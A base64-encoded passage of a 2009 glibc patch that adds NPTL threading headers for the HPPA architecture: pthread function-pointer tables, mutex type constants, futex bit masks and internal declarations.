ZSkgKGNvbnN0IHB0aHJlYWRfYXR0cl90ICosIGludCAqKTsKKyAgaW50ICgq
cHRyX3B0aHJlYWRfYXR0cl9zZXRzY29wZSkgKHB0aHJlYWRfYXR0cl90ICos
IGludCk7CisgIGludCAoKnB0cl9wdGhyZWFkX2NvbmRhdHRyX2Rlc3Ryb3kp
IChwdGhyZWFkX2NvbmRhdHRyX3QgKik7CisgIGludCAoKnB0cl9wdGhyZWFk
X2NvbmRhdHRyX2luaXQpIChwdGhyZWFkX2NvbmRhdHRyX3QgKik7CisgIGlu
dCAoKnB0cl9fX3B0aHJlYWRfY29uZF9icm9hZGNhc3QpIChwdGhyZWFkX2Nv
bmRfdCAqKTsKKyAgaW50ICgqcHRyX19fcHRocmVhZF9jb25kX2Rlc3Ryb3kp
IChwdGhyZWFkX2NvbmRfdCAqKTsKKyAgaW50ICgqcHRyX19fcHRocmVhZF9j
b25kX2luaXQpIChwdGhyZWFkX2NvbmRfdCAqLAorCQkJCSAgY29uc3QgcHRo
cmVhZF9jb25kYXR0cl90ICopOworICBpbnQgKCpwdHJfX19wdGhyZWFkX2Nv
bmRfc2lnbmFsKSAocHRocmVhZF9jb25kX3QgKik7CisgIGludCAoKnB0cl9f
X3B0aHJlYWRfY29uZF93YWl0KSAocHRocmVhZF9jb25kX3QgKiwgcHRocmVh
ZF9tdXRleF90ICopOworICBpbnQgKCpwdHJfX19wdGhyZWFkX2NvbmRfdGlt
ZWR3YWl0KSAocHRocmVhZF9jb25kX3QgKiwgcHRocmVhZF9tdXRleF90ICos
CisJCQkJICAgICAgIGNvbnN0IHN0cnVjdCB0aW1lc3BlYyAqKTsKKyAgaW50
ICgqcHRyX19fcHRocmVhZF9jb25kX2Jyb2FkY2FzdF8yXzApIChwdGhyZWFk
X2NvbmRfMl8wX3QgKik7CisgIGludCAoKnB0cl9fX3B0aHJlYWRfY29uZF9k
ZXN0cm95XzJfMCkgKHB0aHJlYWRfY29uZF8yXzBfdCAqKTsKKyAgaW50ICgq
cHRyX19fcHRocmVhZF9jb25kX2luaXRfMl8wKSAocHRocmVhZF9jb25kXzJf
MF90ICosCisJCQkJICAgICAgY29uc3QgcHRocmVhZF9jb25kYXR0cl90ICop
OworICBpbnQgKCpwdHJfX19wdGhyZWFkX2NvbmRfc2lnbmFsXzJfMCkgKHB0
aHJlYWRfY29uZF8yXzBfdCAqKTsKKyAgaW50ICgqcHRyX19fcHRocmVhZF9j
b25kX3dhaXRfMl8wKSAocHRocmVhZF9jb25kXzJfMF90ICosIHB0aHJlYWRf
bXV0ZXhfdCAqKTsKKyAgaW50ICgqcHRyX19fcHRocmVhZF9jb25kX3RpbWVk
d2FpdF8yXzApIChwdGhyZWFkX2NvbmRfMl8wX3QgKiwKKwkJCQkJICAgcHRo
cmVhZF9tdXRleF90ICosCisJCQkJCSAgIGNvbnN0IHN0cnVjdCB0aW1lc3Bl
YyAqKTsKKyAgaW50ICgqcHRyX19fcHRocmVhZF9jb25kX2Jyb2FkY2FzdF9o
cHBhXzJfM18yKSAocHRocmVhZF9jb25kX2hwcGFfMl8zXzJfdCAqKTsKKyAg
aW50ICgqcHRyX19fcHRocmVhZF9jb25kX2Rlc3Ryb3lfaHBwYV8yXzNfMikg
KHB0aHJlYWRfY29uZF9ocHBhXzJfM18yX3QgKik7CisgIGludCAoKnB0cl9f
X3B0aHJlYWRfY29uZF9pbml0X2hwcGFfMl8zXzIpIChwdGhyZWFkX2NvbmRf
aHBwYV8yXzNfMl90ICosCisJCQkJICAgICAgY29uc3QgcHRocmVhZF9jb25k
YXR0cl90ICopOworICBpbnQgKCpwdHJfX19wdGhyZWFkX2NvbmRfc2lnbmFs
X2hwcGFfMl8zXzIpIChwdGhyZWFkX2NvbmRfaHBwYV8yXzNfMl90ICopOwor
ICBpbnQgKCpwdHJfX19wdGhyZWFkX2NvbmRfd2FpdF9ocHBhXzJfM18yKSAo
cHRocmVhZF9jb25kX2hwcGFfMl8zXzJfdCAqLCBwdGhyZWFkX211dGV4X2hw
cGFfMl8wX3QgKik7CisgIGludCAoKnB0cl9fX3B0aHJlYWRfY29uZF90aW1l
ZHdhaXRfaHBwYV8yXzNfMikgKHB0aHJlYWRfY29uZF9ocHBhXzJfM18yX3Qg
KiwKKwkJCQkJICAgcHRocmVhZF9tdXRleF90ICosCisJCQkJCSAgIGNvbnN0
IHN0cnVjdCB0aW1lc3BlYyAqKTsKKyAgaW50ICgqcHRyX3B0aHJlYWRfZXF1
YWwpIChwdGhyZWFkX3QsIHB0aHJlYWRfdCk7CisgIHZvaWQgKCpwdHJfX19w
dGhyZWFkX2V4aXQpICh2b2lkICopOworICBpbnQgKCpwdHJfcHRocmVhZF9n
ZXRzY2hlZHBhcmFtKSAocHRocmVhZF90LCBpbnQgKiwgc3RydWN0IHNjaGVk
X3BhcmFtICopOworICBpbnQgKCpwdHJfcHRocmVhZF9zZXRzY2hlZHBhcmFt
KSAocHRocmVhZF90LCBpbnQsCisJCQkJICAgIGNvbnN0IHN0cnVjdCBzY2hl
ZF9wYXJhbSAqKTsKKyAgaW50ICgqcHRyX3B0aHJlYWRfbXV0ZXhfZGVzdHJv
eSkgKHB0aHJlYWRfbXV0ZXhfdCAqKTsKKyAgaW50ICgqcHRyX3B0aHJlYWRf
bXV0ZXhfaW5pdCkgKHB0aHJlYWRfbXV0ZXhfdCAqLAorCQkJCSBjb25zdCBw
dGhyZWFkX211dGV4YXR0cl90ICopOworICBpbnQgKCpwdHJfcHRocmVhZF9t
dXRleF9sb2NrKSAocHRocmVhZF9tdXRleF90ICopOworICBpbnQgKCpwdHJf
cHRocmVhZF9tdXRleF91bmxvY2spIChwdGhyZWFkX211dGV4X3QgKik7CisK
KyAgaW50ICgqcHRyX19fcHRocmVhZF9tdXRleF9kZXN0cm95X2hwcGFfMl8w
KSAocHRocmVhZF9tdXRleF9ocHBhXzJfMF90ICopOworICBpbnQgKCpwdHJf
X19wdGhyZWFkX211dGV4X2luaXRfaHBwYV8yXzApIChwdGhyZWFkX211dGV4
X2hwcGFfMl8wX3QgKiwKKwkJCQkgY29uc3QgcHRocmVhZF9tdXRleGF0dHJf
dCAqKTsKKyAgaW50ICgqcHRyX19fcHRocmVhZF9tdXRleF9sb2NrX2hwcGFf
Ml8wKSAocHRocmVhZF9tdXRleF9ocHBhXzJfMF90ICopOworICBpbnQgKCpw
dHJfX19wdGhyZWFkX211dGV4X3VubG9ja19ocHBhXzJfMCkgKHB0aHJlYWRf
bXV0ZXhfaHBwYV8yXzBfdCAqKTsKKworICBwdGhyZWFkX3QgKCpwdHJfcHRo
cmVhZF9zZWxmKSAodm9pZCk7CisgIGludCAoKnB0cl9wdGhyZWFkX3NldGNh
bmNlbHN0YXRlKSAoaW50LCBpbnQgKik7CisgIGludCAoKnB0cl9wdGhyZWFk
X3NldGNhbmNlbHR5cGUpIChpbnQsIGludCAqKTsKKyAgdm9pZCAoKnB0cl9f
X3B0aHJlYWRfY2xlYW51cF91cHRvKSAoX19qbXBfYnVmLCBjaGFyICopOwor
ICBpbnQgKCpwdHJfX19wdGhyZWFkX29uY2UpIChwdGhyZWFkX29uY2VfdCAq
LCB2b2lkICgqKSAodm9pZCkpOworICBpbnQgKCpwdHJfX19wdGhyZWFkX3J3
bG9ja19yZGxvY2spIChwdGhyZWFkX3J3bG9ja190ICopOworICBpbnQgKCpw
dHJfX19wdGhyZWFkX3J3bG9ja193cmxvY2spIChwdGhyZWFkX3J3bG9ja190
ICopOworICBpbnQgKCpwdHJfX19wdGhyZWFkX3J3bG9ja191bmxvY2spIChw
dGhyZWFkX3J3bG9ja190ICopOworICBpbnQgKCpwdHJfX19wdGhyZWFkX2tl
eV9jcmVhdGUpIChwdGhyZWFkX2tleV90ICosIHZvaWQgKCopICh2b2lkICop
KTsKKyAgdm9pZCAqKCpwdHJfX19wdGhyZWFkX2dldHNwZWNpZmljKSAocHRo
cmVhZF9rZXlfdCk7CisgIGludCAoKnB0cl9fX3B0aHJlYWRfc2V0c3BlY2lm
aWMpIChwdGhyZWFkX2tleV90LCBjb25zdCB2b2lkICopOworICB2b2lkICgq
cHRyX19wdGhyZWFkX2NsZWFudXBfcHVzaF9kZWZlcikgKHN0cnVjdCBfcHRo
cmVhZF9jbGVhbnVwX2J1ZmZlciAqLAorCQkJCQkgICB2b2lkICgqKSAodm9p
ZCAqKSwgdm9pZCAqKTsKKyAgdm9pZCAoKnB0cl9fcHRocmVhZF9jbGVhbnVw
X3BvcF9yZXN0b3JlKSAoc3RydWN0IF9wdGhyZWFkX2NsZWFudXBfYnVmZmVy
ICosCisJCQkJCSAgICBpbnQpOworI2RlZmluZSBIQVZFX1BUUl9OVEhSRUFE
UworICB1bnNpZ25lZCBpbnQgKnB0cl9udGhyZWFkczsKKyAgdm9pZCAoKnB0
cl9fX3B0aHJlYWRfdW53aW5kKSAoX19wdGhyZWFkX3Vud2luZF9idWZfdCAq
KQorICAgICAgIF9fYXR0cmlidXRlICgobm9yZXR1cm4pKSBfX2NsZWFudXBf
ZmN0X2F0dHJpYnV0ZTsKKyAgdm9pZCAoKnB0cl9fbnB0bF9kZWFsbG9jYXRl
X3RzZCkgKHZvaWQpOworICBpbnQgKCpwdHJfX25wdGxfc2V0eGlkKSAoc3Ry
dWN0IHhpZF9jb21tYW5kICopOworICB2b2lkICgqcHRyX2ZyZWVyZXMpICh2
b2lkKTsKK307CisKKy8qIFZhcmlhYmxlIGluIGxpYmMuc28uICAqLworZXh0
ZXJuIHN0cnVjdCBwdGhyZWFkX2Z1bmN0aW9ucyBfX2xpYmNfcHRocmVhZF9m
dW5jdGlvbnMgYXR0cmlidXRlX2hpZGRlbjsKK2V4dGVybiBpbnQgX19saWJj
X3B0aHJlYWRfZnVuY3Rpb25zX2luaXQgYXR0cmlidXRlX2hpZGRlbjsKKwor
I2lmZGVmIFBUUl9ERU1BTkdMRQorIyBkZWZpbmUgUFRIRkNUX0NBTEwoZmN0
LCBwYXJhbXMpIFwKKyAgKHsgX190eXBlb2YgKF9fbGliY19wdGhyZWFkX2Z1
bmN0aW9ucy5mY3QpIF9fcDsJCQkgICAgICBcCisgICAgIF9fcCA9IF9fbGli
Y19wdGhyZWFkX2Z1bmN0aW9ucy5mY3Q7CQkJCSAgICAgIFwKKyAgICAgUFRS
X0RFTUFOR0xFIChfX3ApOwkJCQkJCSAgICAgIFwKKyAgICAgX19wIHBhcmFt
czsgfSkKKyNlbHNlCisjIGRlZmluZSBQVEhGQ1RfQ0FMTChmY3QsIHBhcmFt
cykgXAorICBfX2xpYmNfcHRocmVhZF9mdW5jdGlvbnMuZmN0IHBhcmFtcwor
I2VuZGlmCisKKyNlbmRpZgkvKiBwdGhyZWFkLWZ1bmN0aW9ucy5oICovCklu
ZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVh
ZFAuaAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBz
L3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZFAuaApkaWZmIC1O
IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkUC5o
Ci0tLSAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysg
c3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRQLmgJ
MiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsxLDYyMSBAQAor
LyogQ29weXJpZ2h0IChDKSAyMDAyLTIwMDcsIDIwMDkgRnJlZSBTb2Z0d2Fy
ZSBGb3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0
aGUgR05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IFVscmljaCBE
cmVwcGVyIDxkcmVwcGVyQHJlZGhhdC5jb20+LCAyMDAyLgorCisgICBUaGUg
R05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlz
dHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUgdGVy
bXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vu
c2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRp
b247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2UsIG9y
IChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAgIFRo
ZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRo
YXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkgV0FS
UkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgor
ICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxB
UiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFsIFB1
YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBzaG91
bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIgR2Vu
ZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05VIEMg
TGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29mdHdh
cmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0ZSAz
MzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKworI2lm
bmRlZiBfUFRIUkVBRFBfSAorI2RlZmluZSBfUFRIUkVBRFBfSAkxCisKKyNp
bmNsdWRlIDxwdGhyZWFkLmg+CisjaW5jbHVkZSA8c2V0am1wLmg+CisjaW5j
bHVkZSA8c3RkYm9vbC5oPgorI2luY2x1ZGUgPHN5cy9zeXNjYWxsLmg+Cisj
aW5jbHVkZSAiZGVzY3IuaCIKKyNpbmNsdWRlIDx0bHMuaD4KKyNpbmNsdWRl
IDxsb3dsZXZlbGxvY2suaD4KKyNpbmNsdWRlIDxzdGFja2luZm8uaD4KKyNp
bmNsdWRlIDxpbnRlcm5hbHR5cGVzLmg+CisjaW5jbHVkZSA8cHRocmVhZC1m
dW5jdGlvbnMuaD4KKyNpbmNsdWRlIDxhdG9taWMuaD4KKyNpbmNsdWRlIDxr
ZXJuZWwtZmVhdHVyZXMuaD4KKworCisvKiBBdG9taWMgb3BlcmF0aW9ucyBv
biBUTFMgbWVtb3J5LiAgKi8KKyNpZm5kZWYgVEhSRUFEX0FUT01JQ19DTVBY
Q0hHX1ZBTAorIyBkZWZpbmUgVEhSRUFEX0FUT01JQ19DTVBYQ0hHX1ZBTChk
ZXNjciwgbWVtYmVyLCBuZXcsIG9sZCkgXAorICBhdG9taWNfY29tcGFyZV9h
bmRfZXhjaGFuZ2VfdmFsX2FjcSAoJihkZXNjciktPm1lbWJlciwgbmV3LCBv
bGQpCisjZW5kaWYKKworI2lmbmRlZiBUSFJFQURfQVRPTUlDX0JJVF9TRVQK
KyMgZGVmaW5lIFRIUkVBRF9BVE9NSUNfQklUX1NFVChkZXNjciwgbWVtYmVy
LCBiaXQpIFwKKyAgYXRvbWljX2JpdF9zZXQgKCYoZGVzY3IpLT5tZW1iZXIs
IGJpdCkKKyNlbmRpZgorCisKKy8qIEFkYXB0aXZlIG11dGV4IGRlZmluaXRp
b25zLiAgKi8KKyNpZm5kZWYgTUFYX0FEQVBUSVZFX0NPVU5UCisjIGRlZmlu
ZSBNQVhfQURBUFRJVkVfQ09VTlQgMTAwCisjZW5kaWYKKworCisvKiBNYWdp
YyBjb29raWUgcmVwcmVzZW50aW5nIHJvYnVzdCBtdXRleCB3aXRoIGRlYWQg
b3duZXIuICAqLworI2RlZmluZSBQVEhSRUFEX01VVEVYX0lOQ09OU0lTVEVO
VAlJTlRfTUFYCisvKiBNYWdpYyBjb29raWUgcmVwcmVzZW50aW5nIG5vdCBy
ZWNvdmVyYWJsZSByb2J1c3QgbXV0ZXguICAqLworI2RlZmluZSBQVEhSRUFE
X01VVEVYX05PVFJFQ09WRVJBQkxFCShJTlRfTUFYIC0gMSkKKworCisvKiBJ
bnRlcm5hbCBtdXRleCB0eXBlIHZhbHVlLiAgKi8KK2VudW0KK3sKKyAgUFRI
UkVBRF9NVVRFWF9LSU5EX01BU0tfTlAgPSAzLAorICBQVEhSRUFEX01VVEVY
X1JPQlVTVF9OT1JNQUxfTlAgPSAxNiwKKyAgUFRIUkVBRF9NVVRFWF9ST0JV
U1RfUkVDVVJTSVZFX05QCisgID0gUFRIUkVBRF9NVVRFWF9ST0JVU1RfTk9S
TUFMX05QIHwgUFRIUkVBRF9NVVRFWF9SRUNVUlNJVkVfTlAsCisgIFBUSFJF
QURfTVVURVhfUk9CVVNUX0VSUk9SQ0hFQ0tfTlAKKyAgPSBQVEhSRUFEX01V
VEVYX1JPQlVTVF9OT1JNQUxfTlAgfCBQVEhSRUFEX01VVEVYX0VSUk9SQ0hF
Q0tfTlAsCisgIFBUSFJFQURfTVVURVhfUk9CVVNUX0FEQVBUSVZFX05QCisg
ID0gUFRIUkVBRF9NVVRFWF9ST0JVU1RfTk9STUFMX05QIHwgUFRIUkVBRF9N
VVRFWF9BREFQVElWRV9OUCwKKyAgUFRIUkVBRF9NVVRFWF9QUklPX0lOSEVS
SVRfTlAgPSAzMiwKKyAgUFRIUkVBRF9NVVRFWF9QSV9OT1JNQUxfTlAKKyAg
PSBQVEhSRUFEX01VVEVYX1BSSU9fSU5IRVJJVF9OUCB8IFBUSFJFQURfTVVU
RVhfTk9STUFMLAorICBQVEhSRUFEX01VVEVYX1BJX1JFQ1VSU0lWRV9OUAor
ICA9IFBUSFJFQURfTVVURVhfUFJJT19JTkhFUklUX05QIHwgUFRIUkVBRF9N
VVRFWF9SRUNVUlNJVkVfTlAsCisgIFBUSFJFQURfTVVURVhfUElfRVJST1JD
SEVDS19OUAorICA9IFBUSFJFQURfTVVURVhfUFJJT19JTkhFUklUX05QIHwg
UFRIUkVBRF9NVVRFWF9FUlJPUkNIRUNLX05QLAorICBQVEhSRUFEX01VVEVY
X1BJX0FEQVBUSVZFX05QCisgID0gUFRIUkVBRF9NVVRFWF9QUklPX0lOSEVS
SVRfTlAgfCBQVEhSRUFEX01VVEVYX0FEQVBUSVZFX05QLAorICBQVEhSRUFE
X01VVEVYX1BJX1JPQlVTVF9OT1JNQUxfTlAKKyAgPSBQVEhSRUFEX01VVEVY
X1BSSU9fSU5IRVJJVF9OUCB8IFBUSFJFQURfTVVURVhfUk9CVVNUX05PUk1B
TF9OUCwKKyAgUFRIUkVBRF9NVVRFWF9QSV9ST0JVU1RfUkVDVVJTSVZFX05Q
CisgID0gUFRIUkVBRF9NVVRFWF9QUklPX0lOSEVSSVRfTlAgfCBQVEhSRUFE
X01VVEVYX1JPQlVTVF9SRUNVUlNJVkVfTlAsCisgIFBUSFJFQURfTVVURVhf
UElfUk9CVVNUX0VSUk9SQ0hFQ0tfTlAKKyAgPSBQVEhSRUFEX01VVEVYX1BS
SU9fSU5IRVJJVF9OUCB8IFBUSFJFQURfTVVURVhfUk9CVVNUX0VSUk9SQ0hF
Q0tfTlAsCisgIFBUSFJFQURfTVVURVhfUElfUk9CVVNUX0FEQVBUSVZFX05Q
CisgID0gUFRIUkVBRF9NVVRFWF9QUklPX0lOSEVSSVRfTlAgfCBQVEhSRUFE
X01VVEVYX1JPQlVTVF9BREFQVElWRV9OUCwKKyAgUFRIUkVBRF9NVVRFWF9Q
UklPX1BST1RFQ1RfTlAgPSA2NCwKKyAgUFRIUkVBRF9NVVRFWF9QUF9OT1JN
QUxfTlAKKyAgPSBQVEhSRUFEX01VVEVYX1BSSU9fUFJPVEVDVF9OUCB8IFBU
SFJFQURfTVVURVhfTk9STUFMLAorICBQVEhSRUFEX01VVEVYX1BQX1JFQ1VS
U0lWRV9OUAorICA9IFBUSFJFQURfTVVURVhfUFJJT19QUk9URUNUX05QIHwg
UFRIUkVBRF9NVVRFWF9SRUNVUlNJVkVfTlAsCisgIFBUSFJFQURfTVVURVhf
UFBfRVJST1JDSEVDS19OUAorICA9IFBUSFJFQURfTVVURVhfUFJJT19QUk9U
RUNUX05QIHwgUFRIUkVBRF9NVVRFWF9FUlJPUkNIRUNLX05QLAorICBQVEhS
RUFEX01VVEVYX1BQX0FEQVBUSVZFX05QCisgID0gUFRIUkVBRF9NVVRFWF9Q
UklPX1BST1RFQ1RfTlAgfCBQVEhSRUFEX01VVEVYX0FEQVBUSVZFX05QCit9
OworI2RlZmluZSBQVEhSRUFEX01VVEVYX1BTSEFSRURfQklUIDEyOAorCisj
ZGVmaW5lIFBUSFJFQURfTVVURVhfVFlQRShtKSBcCisgICgobSktPl9fZGF0
YS5fX2tpbmQgJiAxMjcpCisKKyNpZiBMTExfUFJJVkFURSA9PSAwICYmIExM
TF9TSEFSRUQgPT0gMTI4CisjIGRlZmluZSBQVEhSRUFEX01VVEVYX1BTSEFS
RUQobSkgXAorICAoKG0pLT5fX2RhdGEuX19raW5kICYgMTI4KQorI2Vsc2UK
KyMgZGVmaW5lIFBUSFJFQURfTVVURVhfUFNIQVJFRChtKSBcCisgICgoKG0p
LT5fX2RhdGEuX19raW5kICYgMTI4KSA/IExMTF9TSEFSRUQgOiBMTExfUFJJ
VkFURSkKKyNlbmRpZgorCisvKiBUaGUga2VybmVsIHdoZW4gd2FraW5nIHJv
YnVzdCBtdXRleGVzIG9uIGV4aXQgbmV2ZXIgdXNlcworICAgRlVURVhfUFJJ
VkFURV9GTEFHIEZVVEVYX1dBS0UuICAqLworI2RlZmluZSBQVEhSRUFEX1JP
QlVTVF9NVVRFWF9QU0hBUkVEKG0pIExMTF9TSEFSRUQKKworLyogQ2VpbGlu
ZyBpbiBfX2RhdGEuX19sb2NrLiAgX19kYXRhLl9fbG9jayBpcyBzaWduZWQs
IHNvIGRvbid0CisgICB1c2UgdGhlIE1TQiBiaXQgaW4gdGhlcmUsIGJ1dCBp
biB0aGUgbWFzayBhbHNvIGluY2x1ZGUgdGhhdCBiaXQsCisgICBzbyB0aGF0
IHRoZSBjb21waWxlciBjYW4gb3B0aW1pemUgJiBQVEhSRUFEX01VVEVYX1BS
SU9fQ0VJTElOR19NQVNLCisgICBtYXNraW5nIGlmIHRoZSB2YWx1ZSBpcyB0
aGVuIHNoaWZ0ZWQgZG93biBieQorICAgUFRIUkVBRF9NVVRFWF9QUklPX0NF
SUxJTkdfU0hJRlQuICAqLworI2RlZmluZSBQVEhSRUFEX01VVEVYX1BSSU9f
Q0VJTElOR19TSElGVAkxOQorI2RlZmluZSBQVEhSRUFEX01VVEVYX1BSSU9f
Q0VJTElOR19NQVNLCQkweGZmZjgwMDAwCisKKworLyogRmxhZ3MgaW4gbXV0
ZXggYXR0ci4gICovCisjZGVmaW5lIFBUSFJFQURfTVVURVhBVFRSX1BST1RP
Q09MX1NISUZUCTI4CisjZGVmaW5lIFBUSFJFQURfTVVURVhBVFRSX1BST1RP
Q09MX01BU0sJCTB4MzAwMDAwMDAKKyNkZWZpbmUgUFRIUkVBRF9NVVRFWEFU
VFJfUFJJT19DRUlMSU5HX1NISUZUCTEyCisjZGVmaW5lIFBUSFJFQURfTVVU
RVhBVFRSX1BSSU9fQ0VJTElOR19NQVNLCTB4MDBmZmYwMDAKKyNkZWZpbmUg
UFRIUkVBRF9NVVRFWEFUVFJfRkxBR19ST0JVU1QJCTB4NDAwMDAwMDAKKyNk
ZWZpbmUgUFRIUkVBRF9NVVRFWEFUVFJfRkxBR19QU0hBUkVECQkweDgwMDAw
MDAwCisjZGVmaW5lIFBUSFJFQURfTVVURVhBVFRSX0ZMQUdfQklUUyBcCisg
IChQVEhSRUFEX01VVEVYQVRUUl9GTEFHX1JPQlVTVCB8IFBUSFJFQURfTVVU
RVhBVFRSX0ZMQUdfUFNIQVJFRCBcCisgICB8IFBUSFJFQURfTVVURVhBVFRS
X1BST1RPQ09MX01BU0sgfCBQVEhSRUFEX01VVEVYQVRUUl9QUklPX0NFSUxJ
TkdfTUFTSykKKworCisvKiBDaGVjayB3aGV0aGVyIHJ3bG9jayBwcmVmZXJz
IHJlYWRlcnMuICAgKi8KKyNkZWZpbmUgUFRIUkVBRF9SV0xPQ0tfUFJFRkVS
X1JFQURFUl9QKHJ3bG9jaykgXAorICAoKHJ3bG9jayktPl9fZGF0YS5fX2Zs
YWdzID09IDApCisKKworLyogQml0cyB1c2VkIGluIHJvYnVzdCBtdXRleCBp
bXBsZW1lbnRhdGlvbi4gICovCisjZGVmaW5lIEZVVEVYX1dBSVRFUlMJCTB4
ODAwMDAwMDAKKyNkZWZpbmUgRlVURVhfT1dORVJfRElFRAkweDQwMDAwMDAw
CisjZGVmaW5lIEZVVEVYX1RJRF9NQVNLCQkweDNmZmZmZmZmCisKKworLyog
SW50ZXJuYWwgdmFyaWFibGVzLiAgKi8KKworCisvKiBEZWZhdWx0IHN0YWNr
IHNpemUuICAqLworZXh0ZXJuIHNpemVfdCBfX2RlZmF1bHRfc3RhY2tzaXpl
IGF0dHJpYnV0ZV9oaWRkZW47CisKKy8qIFNpemUgYW5kIGFsaWdubWVudCBv
ZiBzdGF0aWMgVExTIGJsb2NrLiAgKi8KK2V4dGVybiBzaXplX3QgX19zdGF0
aWNfdGxzX3NpemUgYXR0cmlidXRlX2hpZGRlbjsKK2V4dGVybiBzaXplX3Qg
X19zdGF0aWNfdGxzX2FsaWduX20xIGF0dHJpYnV0ZV9oaWRkZW47CisKKy8q
IEZsYWcgd2hldGhlciB0aGUgbWFjaGluZSBpcyBTTVAgb3Igbm90LiAgKi8K
K2V4dGVybiBpbnQgX19pc19zbXAgYXR0cmlidXRlX2hpZGRlbjsKKworLyog
VGhyZWFkIGRlc2NyaXB0b3IgaGFuZGxpbmcuICAqLworZXh0ZXJuIGxpc3Rf
dCBfX3N0YWNrX3VzZXI7CitoaWRkZW5fcHJvdG8gKF9fc3RhY2tfdXNlcikK
KworLyogQXR0cmlidXRlIGhhbmRsaW5nLiAgKi8KK2V4dGVybiBzdHJ1Y3Qg
cHRocmVhZF9hdHRyICpfX2F0dHJfbGlzdCBhdHRyaWJ1dGVfaGlkZGVuOwor
ZXh0ZXJuIGludCBfX2F0dHJfbGlzdF9sb2NrIGF0dHJpYnV0ZV9oaWRkZW47
CisKKy8qIEZpcnN0IGF2YWlsYWJsZSBSVCBzaWduYWwuICAqLworZXh0ZXJu
IGludCBfX2N1cnJlbnRfc2lncnRtaW4gYXR0cmlidXRlX2hpZGRlbjsKKy8q
IExhc3QgYXZhaWxhYmxlIFJUIHNpZ25hbC4gICovCitleHRlcm4gaW50IF9f
Y3VycmVudF9zaWdydG1heCBhdHRyaWJ1dGVfaGlkZGVuOworCisvKiBDb25j
dXJyZW5jeSBoYW5kbGluZy4gICovCitleHRlcm4gaW50IF9fY29uY3VycmVu
Y3lfbGV2ZWwgYXR0cmlidXRlX2hpZGRlbjsKKworLyogVGhyZWFkLWxvY2Fs
IGRhdGEga2V5IGhhbmRsaW5nLiAgKi8KK2V4dGVybiBzdHJ1Y3QgcHRocmVh
ZF9rZXlfc3RydWN0IF9fcHRocmVhZF9rZXlzW1BUSFJFQURfS0VZU19NQVhd
OworaGlkZGVuX3Byb3RvIChfX3B0aHJlYWRfa2V5cykKKworLyogTnVtYmVy
IG9mIHRocmVhZHMgcnVubmluZy4gICovCitleHRlcm4gdW5zaWduZWQgaW50
IF9fbnB0bF9udGhyZWFkcyBhdHRyaWJ1dGVfaGlkZGVuOworCisjaWZuZGVm
IF9fQVNTVU1FX1NFVF9ST0JVU1RfTElTVAorLyogTmVnYXRpdmUgaWYgd2Ug
ZG8gbm90IGhhdmUgdGhlIHN5c3RlbSBjYWxsIGFuZCB3ZSBjYW4gdXNlIGl0
LiAgKi8KK2V4dGVybiBpbnQgX19zZXRfcm9idXN0X2xpc3RfYXZhaWwgYXR0
cmlidXRlX2hpZGRlbjsKKyNlbmRpZgorCisvKiBUaHJlYWQgUHJpb3JpdHkg
UHJvdGVjdGlvbi4gICovCitleHRlcm4gaW50IF9fc2NoZWRfZmlmb19taW5f
cHJpbyBhdHRyaWJ1dGVfaGlkZGVuOworZXh0ZXJuIGludCBfX3NjaGVkX2Zp
Zm9fbWF4X3ByaW8gYXR0cmlidXRlX2hpZGRlbjsKK2V4dGVybiB2b2lkIF9f
aW5pdF9zY2hlZF9maWZvX3ByaW8gKHZvaWQpIGF0dHJpYnV0ZV9oaWRkZW47
CitleHRlcm4gaW50IF9fcHRocmVhZF90cHBfY2hhbmdlX3ByaW9yaXR5IChp
bnQgcHJldl9wcmlvLCBpbnQgbmV3X3ByaW8pCisgICAgIGF0dHJpYnV0ZV9o
aWRkZW47CitleHRlcm4gaW50IF9fcHRocmVhZF9jdXJyZW50X3ByaW9yaXR5
ICh2b2lkKSBhdHRyaWJ1dGVfaGlkZGVuOworCisvKiBUaGUgbGlicmFyeSBj
YW4gcnVuIGluIGRlYnVnZ2luZyBtb2RlIHdoZXJlIGl0IHBlcmZvcm1zIGEg
